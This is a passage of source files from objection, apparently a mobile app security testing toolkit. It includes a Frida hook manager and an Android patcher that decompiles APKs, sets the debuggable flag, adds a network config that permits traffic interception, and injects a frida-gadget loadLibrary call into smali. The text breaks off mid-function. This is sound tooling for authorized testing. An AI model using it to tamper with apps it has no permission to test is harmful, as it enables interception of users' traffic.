    "content": "// Frida Objective-C hooking helper class.\n//\n// Edit the example below the HookManager class to suit your\n// needs and then run with:\n//  frida -U \"App Name\" -l objchookmanager.js\n//\n// Generated using objection:\n//  https://github.com/sensepost/objection\n\nclass ObjCHookManager {\n\n  // create a new Hook for clazzName, specifying if we\n  // want verbose logging of this class' internals.\n  constructor(clazzName, verbose = false) {\n    this.printVerbose(`Booting ObjCHookManager for ${clazzName}...`);\n\n    this.target = ObjC.classes[clazzName];\n    // store hooked methods as { method: x, listener: y }\n    this.hooking = [];\n    this.available_methods = [];\n    this.verbose = verbose;\n    this.populateAvailableMethods(clazzName);\n  }\n\n  printVerbose(message) {\n    if (!this.verbose) { return; }\n    this.print(`[v] ${message}`);\n  }\n\n  print(message) {\n    console.log(message);\n  }\n\n  populateAvailableMethods(clazz) {\n    this.printVerbose(`Populating available methods...`);\n    this.available_methods = ObjC.classes[clazz].$ownMethods;\n    this.printVerbose(`Have ${this.available_methods.length} methods...`);\n  }\n\n  validMethod(method) {\n    if (!this.available_methods.includes(method)) {\n      return false;\n    }\n    return true;\n  }\n\n  isHookingMethod(method) {\n    if (this.hooking.map(element => {\n      if (element.method == method) { return true; }\n      return false;\n    }).includes(true)) {\n      return true;\n    } else {\n      return false;\n    };\n  }\n\n  hook(m, enter = null, leave = null) {\n    if (!this.validMethod(m)) {\n      this.print(`Method ${m} is not valid for this class.`);\n      return;\n    }\n    if (this.isHookingMethod(m)) {\n      this.print(`Already hooking ${m}. Bailing`);\n      return;\n    }\n\n    this.printVerbose(`Hookig ${m}...`);\n\n    const l = Interceptor.attach(this.target[m].implementation, {\n      onEnter: function (args) {\n        if (enter != null) {\n          enter(args);\n        }\n      },\n      onLeave: function (retval) {\n        if (leave != null) {\n          leave(retval);\n        }\n      },\n    });\n\n    this.hooking.push({ method: m, listener: l });\n  }\n\n  unhook(method) {\n    if (!this.validMethod(method)) {\n      this.print(`Method ${method} is not valid for this class.`);\n      return;\n    }\n    if (!this.isHookingMethod(method)) {\n      this.print(`Not hooking ${method}. Bailing`);\n      return;\n    }\n\n    const hooking = this.hooking.filter(element => {\n      if (element.method == method) {\n        this.printVerbose(`Detaching hook from ${method}`);\n        element.listener.detach();\n        return; // effectively removing it\n      }\n      return element;\n    });\n\n    this.hooking = hooking;\n  }\n}\n\n// SAMPLE Usage:\n\n// const hook = new ObjCHookManager('NSURLSession');\n\n// // Define the logic to use when entering / leaving\n// // the target method.\n// const enter = function(args) {\n//   console.log(`Entered method.`);\n// }\n// const leave = function(retval) {\n//   console.log(`Method done. Retval was ${retval}`);\n// }\n\n// hook.hook('- downloadTaskWithRequest:completionHandler:', enter, leave);\n// hook.unhook('- downloadTaskWithRequest:completionHandler:');\n"
  },
  {
    "path": "objection/utils/helpers.py",
    "content": "import re\nimport shlex\n\nimport click\nfrom packaging.version import Version\nfrom ..state.app import app_state\nfrom ..state.device import device_state, Ios, Android\n\n\ndef debug_print(message: str) -> None:\n    \"\"\"\n        Prints a message if the application is running with\n        debugging enabled.\n\n        :param message:\n        :return:\n    \"\"\"\n\n    if app_state.should_debug():\n        click.secho('[debug] {message}'.format(message=message), dim=True)\n\n\ndef pretty_concat(data: str, at_most: int = 75, left: bool = False) -> str:\n    \"\"\"\n        Limits a string to the maximum value of 'at_most',\n        ending it off with 3 '.'s. If true is specified for\n        the left parameter, the end of the string will be\n        used with 3 '.'s prefixed.\n\n        :param data:\n        :param at_most:\n        :param left:\n        :return:\n\n    \"\"\"\n\n    # do nothing if we are below the max length\n    if len(data) <= at_most:\n        return data\n\n    if left:\n        return '...' + data[len(data) - at_most:]\n\n    return data[:at_most] + '...'\n\n\ndef sizeof_fmt(num: float, suffix: str = 'B') -> str:\n    \"\"\"\n        Pretty print bytes\n    \"\"\"\n\n    for unit in ['', 'Ki', 'Mi', 'Gi', 'Ti', 'Pi', 'Ei', 'Zi']:\n        if abs(num) < 1024.0:\n            return '%3.1f %s%s' % (num, unit, suffix)\n        num /= 1024.0\n    return '%.1f %s%s' % (num, 'Yi', suffix)\n\n\ndef get_tokens(text: str) -> list:\n    \"\"\"\n        Split the text line, shell-style.\n\n        Sometimes we will have strings that don't have the last\n        quotes added yet. In those cases, we can just ignore\n        shlex errors. :)\n\n        :param text:\n        :return:\n    \"\"\"\n\n    try:\n\n        tokens = shlex.split(text)\n\n    except ValueError:\n\n        # return a response that wont match a next command\n        tokens = ['lajfhlaksjdfhlaskjfhafsdlkjh']\n\n    return tokens\n\n\ndef clean_argument_flags(args: list) -> list:\n    \"\"\"\n        Returns a list of arguments with flags removed.\n\n        Items are considered flags when they are prefixed\n        with two dashes.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return [x for x in args if not x.startswith('--')]\n\n\ndef to_snake_case(w: str) -> str:\n    \"\"\"\n        https://stackoverflow.com/a/1176023\n\n        :param w:\n        :return:\n    \"\"\"\n\n    s1 = re.sub('(.)([A-Z][a-z]+)', r'\\1_\\2', w)\n    return re.sub('([a-z0-9])([A-Z])', r'\\1_\\2', s1).lower()\n\n\ndef print_frida_connection_help() -> None:\n    \"\"\"\n        Prints help information about connecting to devices and\n        processes.\n\n        :return:\n    \"\"\"\n\n    click.secho('If you are using a rooted/jailbroken device, specify a process with '\n                'the --gadget flag. Eg: objection --gadget \"Calendar\" explore', fg='red')\n    click.secho('If you are using a non rooted/jailbroken device, ensure that your patched application '\n                'is running and in the foreground.', fg='red')\n    click.secho('')\n    click.secho('If you have multiple devices, specify the target device with --serial. A list '\n                'of attached device serials can be found with the frida-ls-devices command.', fg='yellow')\n    click.secho('')\n    click.secho('For more information, please refer to the objection wiki at: '\n                'https://github.com/sensepost/objection/wiki', fg='green')\n\n\ndef warn_about_older_operating_systems() -> None:\n    \"\"\"\n        Prints a warning to the console about the recommended Android and\n        iOS versions to use with objection.\n\n        :return:\n    \"\"\"\n\n    android_supported = '5'\n    ios_supported = '9'\n\n    # android & ios version warnings\n    if device_state.platform == Android and (\n            Version(device_state.version) < Version(android_supported)):\n        click.secho('Warning: You appear to be running Android {0} which may result in '\n                    'some hooks failing.\\nIt is recommended to use at least an Android '\n                    'version {1} device with objection.'.format(device_state.version, android_supported),\n                    fg='yellow')\n\n    # android & ios version warnings\n    if device_state.platform == Ios and (\n            Version(device_state.version) < Version(ios_supported)):\n        click.secho('Warning: You appear to be running iOS {0} which may result in '\n                    'some hooks failing.\\nIt is recommended to use at least an iOS '\n                    'version {1} device with objection.'.format(device_state.version, ios_supported),\n                    fg='yellow')\n"
  },
  {
    "path": "objection/utils/patchers/__init__.py",
    "content": ""
  },
  {
    "path": "objection/utils/patchers/android.py",
    "content": "import contextlib\nimport lzma\nimport os\nimport re\nimport shutil\nimport tempfile\nimport xml.etree.ElementTree as ElementTree\n\nimport click\nimport delegator\nimport requests\nimport semver\n\nfrom .base import BasePlatformGadget, BasePlatformPatcher, objection_path\nfrom .github import Github\nfrom ..helpers import debug_print\n\n\nclass AndroidGadget(BasePlatformGadget):\n    \"\"\" Class used to download Android Frida libraries \"\"\"\n\n    android_library_path = os.path.join(objection_path, 'android')\n\n    # Lists the supported architectures. Key matches Android support\n    # https://developer.android.com/ndk/guides/abis.html#sa\n    # Value matches library arch for frida.\n    architectures = {\n        'armeabi': 'arm',\n        'armeabi-v7a': 'arm',\n        'arm64': 'arm64',\n        'arm64-v8a': 'arm64',\n        'x86': 'x86',\n        'x86_64': 'x86_64',\n    }\n\n    def __init__(self, github: Github) -> None:\n        \"\"\"\n            Build a new instance, ensuring that the paths needed\n            are available.\n\n            :param github:\n        \"\"\"\n\n        super(AndroidGadget, self).__init__(github)\n\n        self.architecture = None\n\n        # prep paths. if they dont exist, create them\n        for path in self.architectures.keys():\n\n            d = os.path.join(self.android_library_path, path)\n\n            if not os.path.exists(d):\n                os.makedirs(d)\n\n    def set_architecture(self, architecture: str):\n        \"\"\"\n            Set the CPU architecture we will work with.\n\n            :param architecture:\n            :return:\n        \"\"\"\n\n        if architecture not in self.architectures.keys():\n            raise Exception('Invalid architecture `{0}` set. Valid options are: {1}'.format(\n                architecture, ', '.join(self.architectures)))\n\n        self.architecture = architecture\n\n        return self\n\n    def get_architecture(self) -> str:\n        \"\"\"\n            Get the architecture we are working with.\n\n            :return:\n        \"\"\"\n\n        return self.architecture\n\n    def get_frida_library_path(self, packed: bool = False) -> str:\n        \"\"\"\n            Get the path to a frida-library, both in the packed and\n\n            :param packed:\n            :return:\n        \"\"\"\n\n        if not self.architecture:\n            raise Exception('Unable to determine path without architecture')\n\n        return os.path.join(self.android_library_path, self.architecture,\n                            'libfrida-gadget.so' + ('.xz' if packed else ''))\n\n    def gadget_exists(self) -> bool:\n        \"\"\"\n            Determines of a frida-gadget library exists.\n\n            :return:\n        \"\"\"\n\n        if not self.architecture:\n            raise Exception('Unable to determine path without architecture')\n\n        return os.path.exists(self.get_frida_library_path())\n\n    def download(self):\n        \"\"\"\n            Downloads the latest Android gadget for this\n            architecture.\n\n            :return:\n        \"\"\"\n\n        download_url = self._get_download_url()\n        click.secho('Downloading from: {0}'.format(download_url), dim=True)\n\n        # stream the download using requests\n        library = requests.get(download_url, stream=True)\n        library_destination = self.get_frida_library_path(packed=True)\n\n        # save the requests stream to file\n        with open(library_destination, 'wb') as f:\n            click.secho('Downloading {0} library to {1}...'.format(self.architecture,\n                                                                   library_destination), fg='green', dim=True)\n\n            shutil.copyfileobj(library.raw, f)\n\n        return self\n\n    def _get_download_url(self) -> str:\n        \"\"\"\n            Determines the download URL to use for the Android\n            gadget.\n\n            :return:\n        \"\"\"\n\n        url = ''\n\n        # url should contain 'frida-gadget-{version}-android-{arch}.so.xz\n        url_start = 'frida-gadget-'\n        url_end = 'android-' + self.architectures[self.architecture] + '.so.xz'\n\n        for asset in self.github.get_assets():\n            if asset['name'].startswith(url_start) and asset['name'].endswith(url_end):\n                url = asset['browser_download_url']\n\n        if not url:\n            click.secho('Unable to determine URL to download the library', fg='red')\n            raise Exception('Unable to determine URL for Android gadget download.')\n\n        return url\n\n    def unpack(self):\n        \"\"\"\n            Unpacks a downloaded .xz gadget.\n\n            :return:\n        \"\"\"\n\n        click.secho('Unpacking {0}...'.format(self.get_frida_library_path(packed=True)), dim=True)\n\n        with lzma.open(self.get_frida_library_path(packed=True)) as f:\n            with open(self.get_frida_library_path(), 'wb') as g:\n                g.write(f.read())\n\n        return self\n\n    def cleanup(self):\n        \"\"\"\n            Cleans up a downloaded iOS .xz gadget.\n\n            :return:\n        \"\"\"\n\n        click.secho('Cleaning up downloaded archives...', dim=True)\n\n        os.remove(self.get_frida_library_path(packed=True))\n\n\nclass AndroidPatcher(BasePlatformPatcher):\n    \"\"\" Class used to patch Android APK's\"\"\"\n\n    required_commands = {\n        'aapt': {\n            'installation': 'apt install aapt (Kali Linux)'\n        },\n        'adb': {\n            'installation': 'apt install adb (Kali Linux); brew install adb (macOS)'\n        },\n        'apksigner': {\n            'installation': 'apt install apksigner (Kali Linux)'\n        },\n        'apktool': {\n            'installation': 'Install from https://apktool.org/docs/install'\n        },\n        'zipalign': {\n            'installation': 'apt install zipalign (Kali Linux)'\n        }\n    }\n\n    def __init__(self, skip_cleanup: bool = False, skip_resources: bool = False, manifest: str = None, only_main_classes: bool = False):\n        super(AndroidPatcher, self).__init__()\n\n        self.apk_source = None\n        self.apk_temp_directory = tempfile.mkdtemp(suffix='.apktemp')\n        self.apk_temp_frida_patched = self.apk_temp_directory + '.objection.apk'\n        self.apk_temp_frida_patched_aligned = self.apk_temp_directory + '.aligned.objection.apk'\n        self.aapt = None\n        self.skip_cleanup = skip_cleanup\n        self.skip_resources = skip_resources\n        self.manifest = manifest\n\n        self.keystore = os.path.join(os.path.abspath(os.path.dirname(__file__)), '../assets', 'objection.jks')\n        self.netsec_config = os.path.join(os.path.abspath(os.path.dirname(__file__)), '../assets',\n                                          'network_security_config.xml')\n        self.only_main_classes = only_main_classes\n\n    def is_apktool_ready(self) -> bool:\n        \"\"\"\n            Check if apktool is ready for use.\n\n            :return:bool\n        \"\"\"\n\n        min_version = '2.6.0'  # the version of apktool we require\n\n        o = delegator.run(self.list2cmdline([\n            self.required_commands['apktool']['location'],\n            '-version',\n        ]), timeout=self.command_run_timeout).out.strip()\n\n        # On windows we get this 'Press any key to continue' thing,\n        # localized to the the current language. Assume that the version\n        # string we want is always the first line.\n        if len(o.split('\\n')) > 1:\n            o = o.split('\\n')[0]\n\n        # Apktool v2.12.0 has changed the syntax `apktool -version, this grabs the version from the usage screen output\n        # instead of re-running as `apktool v`.\n        if len(o.split(' ')) > 1:\n            o = o.split(' ')[1]\n\n        if len(o) == 0:\n            click.secho('Unable to determine apktool version. Is it installed')\n            return False\n\n        click.secho('Detected apktool version as: ' + o, dim=True)\n\n        # ensure we have at least apktool MIN_VERSION\n        if semver.compare(o, min_version) < 0:\n            click.secho('apktool version should be at least ' + min_version, fg='red', bold=True)\n            click.secho('Please see the following URL for more information: '\n                        'https://github.com/sensepost/objection/wiki/Apktool-Upgrades', fg='yellow')\n            return False\n\n        # run clean-frameworks-dir\n        click.secho('Running apktool empty-framework-dir...', dim=True)\n        o = delegator.run(self.list2cmdline([\n            self.required_commands['apktool']['location'],\n            'empty-framework-dir',\n        ]), timeout=self.command_run_timeout).out.strip()\n\n        if len(o) > 0:\n            click.secho(o, fg='yellow', dim=True)\n\n        return True\n\n    def set_apk_source(self, source: str):\n        \"\"\"\n            Set the source APK to work with.\n\n            :param source:\n            :return:\n        \"\"\"\n\n        if not os.path.exists(source):\n            raise Exception('Source {0} not found.'.format(source))\n\n        self.apk_source = source\n\n        return self\n\n    def _get_android_manifest(self) -> ElementTree:\n        \"\"\"\n            Get the AndroidManifest as a parsed ElementTree\n\n            :return:\n        \"\"\"\n\n        # error if --skip-resources was used because the manifest is encoded\n        if self.skip_resources is True and self.manifest is None:\n            click.secho('Cannot manually parse the AndroidManifest.xml when --skip-resources '\n                        'is set, remove this and try again, or manually specify a manifest with --manifest.', fg='red')\n            raise Exception('Cannot --skip-resources when trying to manually parse the AndroidManifest.xml')\n\n        # use the android namespace\n        ElementTree.register_namespace('android', 'http://schemas.android.com/apk/res/android')\n        if self.manifest is not None:\n            return ElementTree.parse(self.manifest)\n        else:\n            return ElementTree.parse(os.path.join(self.apk_temp_directory, 'AndroidManifest.xml'))\n\n    def _get_appt_output(self):\n        \"\"\"\n            Get the output of `aapt dump badging`.\n\n            :return:\n        \"\"\"\n\n        if not self.aapt:\n            o = delegator.run(self.list2cmdline([\n                self.required_commands['aapt']['location'],\n                'dump',\n                'badging',\n                self.apk_source\n            ]), timeout=self.command_run_timeout)\n\n            if len(o.err) > 0:\n                click.secho('An error may have occurred while running aapt.', fg='red')\n                click.secho(o.err, fg='red')\n\n            self.aapt = o.out\n\n        return self.aapt\n\n    def _get_launchable_activity(self) -> str:\n        \"\"\"\n            Determines the class name for the activity that is\n            launched on application startup.\n\n            This is done by first trying to parse the output of\n            aapt dump badging, then falling back to manually\n            parsing the AndroidManifest for activity-alias tags.\n\n            :return:\n        \"\"\"\n\n        activities = (match.groups()[0] for match in\n                      re.finditer(r\"^launchable-activity: name='([^']+)'\", self._get_appt_output(), re.MULTILINE))\n        activity = next(activities, None)\n\n        # If we got the activity using aapt, great, return that\n        if activity is not None:\n            return activity\n\n        # if we dont have the activity yet, check out activity aliases\n        click.secho(('Unable to determine the launchable activity using aapt, trying '\n                     'to manually parse the AndroidManifest for activity aliases...'), dim=True, fg='yellow')\n\n        # Try and parse the manifest manually\n        manifest = self._get_android_manifest()\n        root = manifest.getroot()\n\n        # grab all of the activity-alias tags\n        for alias in root.findall('./application/activity-alias'):\n\n            # Take not of the current activity\n            current_activity = alias.get('{http://schemas.android.com/apk/res/android}targetActivity')\n            categories = alias.findall('./intent-filter/category')\n\n            # make sure we have categories for this alias\n            if categories is None:\n                continue\n\n            for category in categories:\n\n                # check if the name of this category is that of LAUNCHER\n                # its possible to have multiples, but once we determine one\n                # that fits we can just return and move on\n                category_name = category.get('{http://schemas.android.com/apk/res/android}name')\n\n                if category_name == 'android.intent.category.LAUNCHER':\n                    return current_activity\n\n        # getting here means we were unable to determine what the launchable\n        # activity is\n        click.secho('Unable to determine the launchable activity for this app.', fg='red')\n        raise Exception('Unable to determine launchable activity')\n\n    def get_patched_apk_path(self) -> str:\n        \"\"\"\n            Returns the path of the patched, aligned APK.\n\n            :return:\n        \"\"\"\n\n        return self.apk_temp_frida_patched_aligned\n\n    def get_temp_working_directory(self) -> str:\n        \"\"\"\n            Returns the temporary working directory used by this patcher.\n\n            :return:\n        \"\"\"\n\n        return self.apk_temp_directory\n\n    def unpack_apk(self, fix_concurrency_to = None):\n        \"\"\"\n            Unpack an APK with apktool.\n\n            :return:\n        \"\"\"\n\n        click.secho('Unpacking {0}'.format(self.apk_source), dim=True)\n\n\n        o = delegator.run(self.list2cmdline([\n            self.required_commands['apktool']['location'],\n            'decode',\n            '-f',\n        ] +\n          (['-r'] if self.skip_resources else []) +\n          (['--only-main-classes'] if self.only_main_classes else []) +\n        [\n            '-o',\n            self.apk_temp_directory,\n            self.apk_source\n        ] + ([] if fix_concurrency_to is None else ['-j', fix_concurrency_to])), timeout=self.command_run_timeout)\n\n        debug_print(\"Command:\" + o.cmd)\n\n        if len(o.err) > 0:\n            click.secho('An error may have occurred while extracting the APK.', fg='red')\n            click.secho(o.err, fg='red')\n            \n    def inject_internet_permission(self):\n        \"\"\"\n            Checks the status of the source APK to see if it\n            has the INTERNET permission. If not, the manifest file\n            is parsed and the permission injected.\n\n            :return:\n        \"\"\"\n\n        internet_permission = 'android.permission.INTERNET'\n\n        # if the app already has the internet permission, easy mode :D\n        if internet_permission in self._get_appt_output():\n            click.secho('App already has android.permission.INTERNET', fg='green')\n            return\n\n        # if not, we need to inject an element with it\n        click.secho('App does not have android.permission.INTERNET, attempting to patch the AndroidManifest.xml...',\n                    dim=True, fg='yellow')\n        xml = self._get_android_manifest()\n        root = xml.getroot()\n\n        click.secho('Injecting permission: {0}'.format(internet_permission), fg='green')\n\n        # prepare a new 'uses-permission' tag\n        child = ElementTree.Element('uses-permission')\n        child.set('android:name', internet_permission)\n        root.append(child)\n\n        click.secho('Writing new Android manifest...', dim=True)\n\n        xml.write(os.path.join(self.apk_temp_directory, 'AndroidManifest.xml'),\n                  encoding='utf-8', xml_declaration=True)\n\n    def extract_native_libs_patch(self):\n        \"\"\"\n            Check the AndroidManifest.xml file for extractNativeLibs=\"false\"\n            if it exists, change it to extractNativeLibs=\"true\".\n\n            Since AndroidStudio 2.1 this flag is set as false by default.\n            This breaks it when installing the .apk to the device.\n\n            :return:\n        \"\"\"\n        xml = self._get_android_manifest()\n        root = xml.getroot()\n\n        application_tag = root.findall('application')\n\n        # ensure that we got the application tag\n        if len(application_tag) <= 0:\n            message = 'Could not find the application tag in the AndroidManifest.xml'\n            click.secho(message, fg='red', bold=True)\n            raise Exception(message)\n\n        application_tag = application_tag[0]\n\n        # Check if the flag is present and set to false\n        if '{http://schemas.android.com/apk/res/android}extractNativeLibs' in application_tag.attrib \\\n                and application_tag.attrib['{http://schemas.android.com/apk/res/android}extractNativeLibs'] == 'false':\n            # Set the flag to true\n            application_tag.attrib['{http://schemas.android.com/apk/res/android}extractNativeLibs'] = 'true'\n            click.secho('Setting extractNativeLibs to true...', dim=True)\n            xml.write(os.path.join(self.apk_temp_directory, 'AndroidManifest.xml'),\n                      encoding='utf-8', xml_declaration=True)\n            return\n\n    def flip_debug_flag_to_true(self):\n        \"\"\"\n            Set the android:debuggable flag to true in the\n            AndroidManifest.\n\n            :return:\n        \"\"\"\n\n        xml = self._get_android_manifest()\n        root = xml.getroot()\n\n        click.secho('Setting debug flag to true', fg='green')\n\n        application_tag = root.findall('application')\n\n        # ensure that we got the application tag\n        if len(application_tag) <= 0:\n            message = 'Could not find the application tag in the AndroidManifest.xml'\n            click.secho(message, fg='red', bold=True)\n            raise Exception(message)\n\n        application_tag = application_tag[0]\n\n        if '{http://schemas.android.com/apk/res/android}debuggable' in application_tag.attrib \\\n                and application_tag.attrib['{http://schemas.android.com/apk/res/android}debuggable'] == 'true':\n            click.secho('Application already has the android:debuggable flag set to True')\n            return\n\n        # set the debuggable flag\n        application_tag.attrib['{http://schemas.android.com/apk/res/android}debuggable'] = 'true'\n\n        click.secho('Writing new Android manifest...', dim=True)\n        xml.write(os.path.join(self.apk_temp_directory, 'AndroidManifest.xml'),\n                  encoding='utf-8', xml_declaration=True)\n\n    def add_network_security_config(self):\n        \"\"\"\n            Add a network_security_config.xml to the AndroidManifest.xml for\n            Android 7+.\n\n            Refs:\n                https://serializethoughts.com/2016/09/10/905/\n                https://warroom.securestate.com/android-7-intercepting-app-traffic/\n                https://www.nowsecure.com/blog/2017/06/15/certificate-pinning-for-android-and-ios-mobile-man-in-the-middle-attack-prevention/\n                https://android-developers.googleblog.com/2016/07/changes-to-trusted-certificate.html\n                https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/november/bypassing-androids-network-security-configuration/\n                https://sensepost.com/blog/2018/tip-toeing-past-android-7s-network-security-configuration/\n\n            return:\n        \"\"\"\n\n        xml = self._get_android_manifest()\n        root = xml.getroot()\n        application_tag = root.findall('application')\n\n        # ensure that we got the application tag\n        if len(application_tag) <= 0:\n            message = 'Could not find the application tag in the AndroidManifest.xml'\n            click.secho(message, fg='red', bold=True)\n            raise Exception(message)\n\n        application_tag = application_tag[0]\n\n        click.secho('Checking for an existing networkSecurityConfig tag', dim=True)\n\n        if '{http://schemas.android.com/apk/res/android}networkSecurityConfig' in application_tag.attrib:\n            if not click.prompt('An existing network security config was found. Do you want to replace it?',\n                                type=bool, default=True):\n                return\n\n        # copy our network security configuration to res/xml/network_security_config.xml\n        sec_config_path = os.path.join(self.apk_temp_directory, 'res', 'xml')\n\n        # check if the config path exists\n        if not os.path.exists(sec_config_path):\n            click.secho('Creating XML res path: {0}'.format(sec_config_path), dim=True)\n            os.makedirs(sec_config_path)\n\n        click.secho('Copying network_security_config.xml...', fg='green', dim=True)\n        shutil.copyfile(self.netsec_config, os.path.join(sec_config_path, 'network_security_config.xml'))\n\n        # set the networkSecurityConfig xml location\n        # this is in res/xml/network_security_config.xml\n        application_tag.attrib[\n            '{http://schemas.android.com/apk/res/android}networkSecurityConfig'] = '@xml/network_security_config'\n\n        click.secho('Writing new Android manifest...', dim=True)\n        xml.write(os.path.join(self.apk_temp_directory, 'AndroidManifest.xml'),\n                  encoding='utf-8', xml_declaration=True)\n\n    def _determine_smali_path_for_class(self, target_class) -> str:\n        \"\"\"\n            Attempts to determine the local path for a target class' smali\n\n            :param target_class:\n            :return:\n        \"\"\"\n\n        # convert to a filesystem path, just like how it would be on disk\n        # from the apktool dump\n        target_class = target_class.replace('.', '/')\n\n        activity_path = os.path.join(self.apk_temp_directory, 'smali', target_class) + '.smali'\n\n        # check if the activity path exists. If not, try and see if this may have been\n        # a multidex setup\n        if not os.path.exists(activity_path):\n\n            click.secho('Smali not found in smali directory. This might be a multidex APK. Searching...', dim=True)\n\n            # apk tool will dump the dex classes to a smali directory. in multidex setups\n            # we have folders such as smali_classes2, smali_classes3 etc. we will search\n            # those paths for the launch activity we detected.\n            for x in range(2, 100):\n                smali_path = os.path.join(self.apk_temp_directory, 'smali_classes{0}'.format(x))\n\n                # stop if the smali_classes directory does not exist.\n                if not os.path.exists(smali_path):\n                    break\n\n                # determine the path to the launchable activity again\n                activity_path = os.path.join(smali_path, target_class) + '.smali'\n\n                # if we found the activity, stop the loop\n                if os.path.exists(activity_path):\n                    click.secho('Found smali at: {0}'.format(activity_path), dim=True)\n                    break\n\n        # one final check to ensure we have the target .smali file\n        if not os.path.exists(activity_path):\n            raise Exception('Unable to find smali to patch!')\n\n        return activity_path\n\n    @staticmethod\n    def _determine_end_of_smali_method_from_line(smali: list, start: int) -> int:\n        \"\"\"\n            Determines where the .end method line is.\n\n            This method is also aware of a methods that 'returns' and will\n            return the line before that too.\n\n            :param smali:\n            :param start:\n            :return:\n        \"\"\"\n\n        # enumerate all of # the lines in the original smali sources and mark the offsets of the\n        # lines that contain '.end method'. the search starts right after the\n        # original inject marker so that we can pick the top most .end method\n        # when we are done searching. this is also why the # represented in the\n        # inject marker is added to the calculated marker in the list of end methods.\n        end_methods = [(i + start) for i, x in enumerate(smali[start:]) if '.end method' in x]\n\n        # ensure that we found at least one .end method\n        if len(end_methods) <= 0:\n            raise Exception('Unable to find the end of the existing constructor')\n\n        # set the last line of the constructors method to the one\n        # just before the .end method line\n        end_of_method = end_methods[0] - 1\n\n        # check if the constructor has a return type call. if it does,\n        # move up one line again to inject our loadLibrary before the return\n        if 'return' in smali[end_of_method]:\n            end_of_method -= 1\n\n        return end_of_method\n\n    @staticmethod\n    def _determine_first_inject_point_of_smali_method_from_line(smali: list, start: int) -> int:\n        \"\"\"\n            Determines the first line in a smali method where we can inject code.\n            This is the line after any .locals or .annotations\n\n            This method is also aware of a methods that 'returns' and will\n            return the line before that too.\n\n            :param smali:\n            :param start:\n            :return:\n        \"\"\"\n\n        pos = start\n        in_annotation = False\n        while pos + 1 < len(smali):\n            pos = pos + 1\n            line = smali[pos].strip()\n\n            # skip empty lines\n            if not line:\n                continue\n\n            # skip locals\n            if line.startswith(\".locals \"):\n                continue\n\n            # skip annotations\n            if in_annotation or line.startswith(\".annotation \"):\n                in_annotation = True\n                continue\n\n            if line.startswith(\".end annotation\"):\n                in_annotation = False\n                continue\n\n            return pos - 1\n\n    def _patch_smali_with_load_library(self, smali_lines: list, inject_marker: int) -> list:\n        \"\"\"\n            Patches a list of smali lines with the appropriate\n            loadLibrary call based on wether a constructor already\n            exists or not.\n\n            :param smali_lines:\n            :param inject_marker:\n            :return:\n        \"\"\"\n\n        # raw smali to inject.\n        # ref: https://koz.io/using-frida-on-android-without-root/\n\n        # if no constructor is present, the full_load_library is used\n        full_load_library = ('.method static constructor <clinit>()V\\n'\n                             '   .locals 0\\n'  # _revalue_locals_count() will ++ this\n                             '\\n'\n                             '   .prologue\\n'\n                             '   const-string v0, \"frida-gadget\"\\n'\n                             '\\n'\n                             '   invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V\\n'\n                             '\\n'\n                             '   return-void\\n'\n                             '.end method\\n')\n\n        # if an existing constructor is present, this partial_load_library\n        # will be used instead\n        partial_load_library = ('\\n    const-string v0, \"frida-gadget\"\\n'\n                                '\\n'\n                                '    invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V\\n')\n\n        # Check if there is an existing clinit here. If there is, then we need\n        # to determine where the constructor ends and inject a simple loadLibrary\n        # just before the end\n        if 'clinit' in smali_lines[inject_marker]:\n            click.secho('Injecting into an existing constructor', fg='yellow')\n\n            inject_point = self._determine_first_inject_point_of_smali_method_from_line(smali_lines, inject_marker)\n            click.secho('Injecting loadLibrary call at line: {0}'.format(inject_point), dim=True, fg='green')\n\n            patched_smali = \\\n                smali_lines[:inject_point] + partial_load_library.splitlines(keepends=True) + \\\n                smali_lines[inject_point:]\n\n        else:\n\n            # if there is no constructor, we can simply inject a fresh constructor\n            click.secho('Injecting loadLibrary call at line: {0}'.format(inject_marker), dim=True, fg='green')\n\n            # inject the load_library code between\n            patched_smali = \\\n                smali_lines[:inject_marker] + full_load_library.splitlines(keepends=True) + smali_lines[inject_marker:]\n\n        return patched_smali\n\n    def _revalue_locals_count(self, patched_smali: list, inject_marker: int):\n        \"\"\"\n            Attempt to ++ the first .locals declaration in a list of\n            smali lines confined to the same method.\n\n            :param patched_smali:\n            :param inject_marker:\n            :return:\n        \"\"\"\n\n        def _h():\n            click.secho('Could not update .locals value. Sometimes this may break things,'\n                        'but not always. If the applications crashes after patching, try '\n                        'and add the --pause flag, fixing the patched smali manually.', fg='yellow')\n\n        # next, update the .locals count (if its defined)\n        # if this step fails, its not really a big deal as many times its not\n        # fatal. however, if it does fail, warn about it.\n        click.secho('Attempting to fix the constructors .locals count', dim=True)\n        end_of_method = self._determine_end_of_smali_method_from_line(patched_smali, inject_marker)\n\n        # check if we have a .locals declaration right after the start of our\n        # already matched constructor\n        defined_locals = [i for i, x in enumerate(patched_smali[inject_marker:end_of_method])\n                          if '.locals' in x]\n\n        if len(defined_locals) <= 0:\n            click.secho('Unable to determine any .locals for the target constructor', fg='yellow')\n            _h()\n            return patched_smali\n\n        # determine the offset for the first matched .locals definition\n        locals_smali_offset = defined_locals[0] + inject_marker\n\n        try:\n            defined_local_value = patched_smali[locals_smali_offset].split(' ')[-1]\n            defined_local_value_as_int = int(defined_local_value, 10)\n            new_locals_value = defined_local_value_as_int + 1\n\n        except ValueError as e:\n            click.secho(\n                'Unable to parse .locals value for the injected constructor with error: {0}'.format(str(e)),\n                fg='yellow')\n            _h()\n\n            return patched_smali\n\n        click.secho('Current locals value is {0}, updating to {1}:'.format(\n            defined_local_value_as_int, new_locals_value), dim=True)\n\n        # simply search / replace the integer values we already calculated on the relevant line\n        patched_smali[locals_smali_offset] = patched_smali[locals_smali_offset].replace(\n            str(defined_local_value_as_int), str(new_locals_value))\n\n        return patched_smali\n\n    def inject_load_library(self, target_class: str = None):\n        \"\"\"\n            Injects a loadLibrary call into a class.\n            If a target class is not specified, we will make an attempt\n            at searching for a launchable activity in the target APK.\n\n            Most of the idea for this comes from:\n                https://koz.io/using-frida-on-android-without-root/\n\n            :return:\n        \"\"\"\n\n        # determine the path to the smali we should inject the load_library\n        # call into. a user may specify a specific class to target, otherwise\n        # we get a class name from the internal launchable activity method\n        # of this class.\n\n        if target_class:\n            click.secho('Using target class: {0} for patch'.format(target_class), fg='green', bold=True)\n        else:\n            click.secho('Target class not specified, searching for launchable activity instead...', fg='green',\n                        bold=True)\n\n        activity_path = self._determine_smali_path_for_class(\n            target_class if 